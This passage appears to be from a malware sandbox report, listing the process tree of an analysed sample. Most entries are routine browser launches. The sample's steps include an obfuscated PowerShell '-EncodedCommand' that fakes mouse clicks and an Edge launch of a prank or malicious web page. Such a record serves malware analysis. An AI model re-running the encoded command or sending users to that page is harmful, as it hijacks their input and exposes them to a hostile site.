        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --metrics-shmem-handle=6304,i,9637044292086916840,2194841178250119011,2097152 --field-trial-handle=1932,i,1896297122146310096,12201866633458680155,262144 --variations-seed-version --mojo-platform-channel-handle=6348 /prefetch:1
        5⤵
        
        PID:3340
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=6360,i,13764017374594620196,17786783254038204406,524288 --field-trial-handle=1932,i,1896297122146310096,12201866633458680155,262144 --variations-seed-version --mojo-platform-channel-handle=6492 /prefetch:14
        5⤵
        
        PID:4660
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=260,i,5200332991133695801,16736349661142168903,524288 --field-trial-handle=1932,i,1896297122146310096,12201866633458680155,262144 --variations-seed-version --mojo-platform-channel-handle=6484 /prefetch:14
        5⤵
        
        PID:4292
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=6372,i,5655257845426897101,13644746866161321890,524288 --field-trial-handle=1932,i,1896297122146310096,12201866633458680155,262144 --variations-seed-version --mojo-platform-channel-handle=6436 /prefetch:14
        5⤵
        
        PID:1884
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=7112,i,6908316785598064744,13371005821668157831,524288 --field-trial-handle=1932,i,1896297122146310096,12201866633458680155,262144 --variations-seed-version --mojo-platform-channel-handle=6368 /prefetch:14
        5⤵
        
        PID:1360
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --metrics-shmem-handle=6388,i,1158746924100718923,15416040342032608354,2097152 --field-trial-handle=1932,i,1896297122146310096,12201866633458680155,262144 --variations-seed-version --mojo-platform-channel-handle=6280 /prefetch:1
        5⤵
        
        PID:4260
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --metrics-shmem-handle=6532,i,2307019611699705661,7321728975994750376,2097152 --field-trial-handle=1932,i,1896297122146310096,12201866633458680155,262144 --variations-seed-version --mojo-platform-channel-handle=6360 /prefetch:1
        5⤵
        
        PID:8544
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --metrics-shmem-handle=6488,i,11713026220457202720,3586364794220984013,2097152 --field-trial-handle=1932,i,1896297122146310096,12201866633458680155,262144 --variations-seed-version --mojo-platform-channel-handle=6388 /prefetch:1
        5⤵
        
        PID:9028
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=7348,i,16603391703972228272,5478843408867405171,262144 --field-trial-handle=1932,i,1896297122146310096,12201866633458680155,262144 --variations-seed-version --mojo-platform-channel-handle=7248 /prefetch:10
        5⤵
        
        PID:3936
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --metrics-shmem-handle=7328,i,14962300602054303715,16343702675440218655,2097152 --field-trial-handle=1932,i,1896297122146310096,12201866633458680155,262144 --variations-seed-version --mojo-platform-channel-handle=6680 /prefetch:1
        5⤵
        
        PID:8608
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=6432,i,3982458150085300701,16702216827463169341,524288 --field-trial-handle=1932,i,1896297122146310096,12201866633458680155,262144 --variations-seed-version --mojo-platform-channel-handle=5756 /prefetch:14
        5⤵
        
        PID:4796
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=on_device_model.mojom.OnDeviceModelService --lang=en-US --service-sandbox-type=on_device_model_execution --force-high-res-timeticks=disabled --metrics-shmem-handle=6288,i,7532232180967545920,18391662226248242974,524288 --field-trial-handle=1932,i,1896297122146310096,12201866633458680155,262144 --variations-seed-version --mojo-platform-channel-handle=7376 /prefetch:14
        5⤵
        
        PID:2640
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=7172,i,14614646751780697011,14460517036904404313,524288 --field-trial-handle=1932,i,1896297122146310096,12201866633458680155,262144 --variations-seed-version --mojo-platform-channel-handle=6480 /prefetch:14
        5⤵
        
        PID:8720
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where msedge
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4576
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --new-window "https://youareanidiot.cc/lol.html"
      4⤵
      Enumerates system info in registry
      Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
      Suspicious use of FindShellTrayWindow
      Suspicious use of WriteProcessMemory
      PID:5268
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x26c,0x270,0x274,0x268,0x2dc,0x7ffe6d81c188,0x7ffe6d81c194,0x7ffe6d81c1a0
        5⤵
        
        PID:5500
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1536,i,1589789903494388362,3871697159995946507,262144 --field-trial-handle=2268,i,11835288606845474982,10317337751881549831,262144 --variations-seed-version --mojo-platform-channel-handle=2264 /prefetch:2
        5⤵
        
        PID:4904
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1668,i,8068499527422568000,9742516881638687719,524288 --field-trial-handle=2268,i,11835288606845474982,10317337751881549831,262144 --variations-seed-version --mojo-platform-channel-handle=2292 /prefetch:11
        5⤵
        System Time Discovery
        
        PID:3312
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2316,i,802844519661643666,5088023808067768013,524288 --field-trial-handle=2268,i,11835288606845474982,10317337751881549831,262144 --variations-seed-version --mojo-platform-channel-handle=3044 /prefetch:13
        5⤵
        
        PID:5832
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3596,i,13661646117780672202,14824629546178719181,2097152 --field-trial-handle=2268,i,11835288606845474982,10317337751881549831,262144 --variations-seed-version --mojo-platform-channel-handle=3616 /prefetch:1
        5⤵
        
        PID:2988
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3628,i,15925485636382194552,1874740493842599392,2097152 --field-trial-handle=2268,i,11835288606845474982,10317337751881549831,262144 --variations-seed-version --mojo-platform-channel-handle=3700 /prefetch:1
        5⤵
        
        PID:5324
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4304,i,7876075760126401185,5986938372551549637,2097152 --field-trial-handle=2268,i,11835288606845474982,10317337751881549831,262144 --variations-seed-version --mojo-platform-channel-handle=4280 /prefetch:1
        5⤵
        
        PID:2388
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4308,i,9353619292201188253,7999810618563504607,2097152 --field-trial-handle=2268,i,11835288606845474982,10317337751881549831,262144 --variations-seed-version --mojo-platform-channel-handle=4284 /prefetch:9
        5⤵
        
        PID:3136
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5312,i,16656994582754354542,15110590541022973983,524288 --field-trial-handle=2268,i,11835288606845474982,10317337751881549831,262144 --variations-seed-version --mojo-platform-channel-handle=4860 /prefetch:14
        5⤵
        
        PID:868
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5480,i,8820448147466811685,2680240230616858255,524288 --field-trial-handle=2268,i,11835288606845474982,10317337751881549831,262144 --variations-seed-version --mojo-platform-channel-handle=5484 /prefetch:12
        5⤵
        
        PID:3476
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5632,i,8797699611820259059,629805255606675750,524288 --field-trial-handle=2268,i,11835288606845474982,10317337751881549831,262144 --variations-seed-version --mojo-platform-channel-handle=5688 /prefetch:14
        5⤵
        
        PID:1176
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5636,i,17827532694803753488,11850951514085070906,524288 --field-trial-handle=2268,i,11835288606845474982,10317337751881549831,262144 --variations-seed-version --mojo-platform-channel-handle=5716 /prefetch:14
        5⤵
        
        PID:5448
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --always-read-main-dll --metrics-shmem-handle=6228,i,17068786522990473647,14716531781298524224,2097152 --field-trial-handle=2268,i,11835288606845474982,10317337751881549831,262144 --variations-seed-version --mojo-platform-channel-handle=5392 /prefetch:1
        5⤵
        
        PID:8084
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --always-read-main-dll --metrics-shmem-handle=3792,i,3474931351979242630,15628794591474664378,2097152 --field-trial-handle=2268,i,11835288606845474982,10317337751881549831,262144 --variations-seed-version --mojo-platform-channel-handle=5400 /prefetch:1
        5⤵
        
        PID:7032
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --always-read-main-dll --metrics-shmem-handle=6708,i,8398946572110016286,8551308374128905026,2097152 --field-trial-handle=2268,i,11835288606845474982,10317337751881549831,262144 --variations-seed-version --mojo-platform-channel-handle=6756 /prefetch:1
        5⤵
        
        PID:7364
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7252,i,18321646459229425565,17319839793474991024,524288 --field-trial-handle=2268,i,11835288606845474982,10317337751881549831,262144 --variations-seed-version --mojo-platform-channel-handle=7260 /prefetch:14
        5⤵
        
        PID:9144
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7256,i,2077048160637874123,8026832151630001149,524288 --field-trial-handle=2268,i,11835288606845474982,10317337751881549831,262144 --variations-seed-version --mojo-platform-channel-handle=7304 /prefetch:14
        5⤵
        
        PID:9152
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4324,i,5510359748964133951,8790700085018938678,524288 --field-trial-handle=2268,i,11835288606845474982,10317337751881549831,262144 --variations-seed-version --mojo-platform-channel-handle=7348 /prefetch:14
        5⤵
        
        PID:9160
    - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2516,i,14459735103171728082,12436811824669719598,524288 --field-trial-handle=2268,i,11835288606845474982,10317337751881549831,262144 --variations-seed-version --mojo-platform-channel-handle=7472 /prefetch:14
        5⤵
        
        PID:8880
    - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2516,i,14459735103171728082,12436811824669719598,524288 --field-trial-handle=2268,i,11835288606845474982,10317337751881549831,262144 --variations-seed-version --mojo-platform-channel-handle=7472 /prefetch:14
        5⤵
        
        PID:2944
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5900,i,12659147604146922923,5153559790072357561,524288 --field-trial-handle=2268,i,11835288606845474982,10317337751881549831,262144 --variations-seed-version --mojo-platform-channel-handle=5916 /prefetch:14
        5⤵
        
        PID:936
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=7300,i,7594454643975297176,14662297044996717687,262144 --field-trial-handle=2268,i,11835288606845474982,10317337751881549831,262144 --variations-seed-version --mojo-platform-channel-handle=7548 /prefetch:10
        5⤵
        
        PID:2092
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5988,i,3804109652954464800,17272900997988578982,524288 --field-trial-handle=2268,i,11835288606845474982,10317337751881549831,262144 --variations-seed-version --mojo-platform-channel-handle=7588 /prefetch:14
        5⤵
        
        PID:5084
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=on_device_model.mojom.OnDeviceModelService --lang=en-US --service-sandbox-type=on_device_model_execution --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3528,i,7084325721276238980,2795967572029203480,524288 --field-trial-handle=2268,i,11835288606845474982,10317337751881549831,262144 --variations-seed-version --mojo-platform-channel-handle=7580 /prefetch:14
        5⤵
        
        PID:2624
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5992,i,15248096542529418040,3686730131780552118,524288 --field-trial-handle=2268,i,11835288606845474982,10317337751881549831,262144 --variations-seed-version --mojo-platform-channel-handle=7652 /prefetch:14
        5⤵
        
        PID:7684
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=on_device_model.mojom.OnDeviceModelService --lang=en-US --service-sandbox-type=on_device_model_execution --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6636,i,18190217129265156751,15283035810197241198,524288 --field-trial-handle=2268,i,11835288606845474982,10317337751881549831,262144 --variations-seed-version --mojo-platform-channel-handle=6632 /prefetch:14
        5⤵
        
        PID:5096
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5004,i,17819959713610286190,9735137280881555779,524288 --field-trial-handle=2268,i,11835288606845474982,10317337751881549831,262144 --variations-seed-version --mojo-platform-channel-handle=3640 /prefetch:14
        5⤵
        
        PID:8232
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6864,i,2282516494998466293,6225544471065521054,524288 --field-trial-handle=2268,i,11835288606845474982,10317337751881549831,262144 --variations-seed-version --mojo-platform-channel-handle=5056 /prefetch:14
        5⤵
        
        PID:8296
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5792,i,16601118981129198993,4391296353709175711,524288 --field-trial-handle=2268,i,11835288606845474982,10317337751881549831,262144 --variations-seed-version --mojo-platform-channel-handle=5816 /prefetch:14
        5⤵
        
        PID:1384
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6928,i,8343199300923406142,16805041156136150835,524288 --field-trial-handle=2268,i,11835288606845474982,10317337751881549831,262144 --variations-seed-version --mojo-platform-channel-handle=7792 /prefetch:14
        5⤵
        
        PID:1504
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAG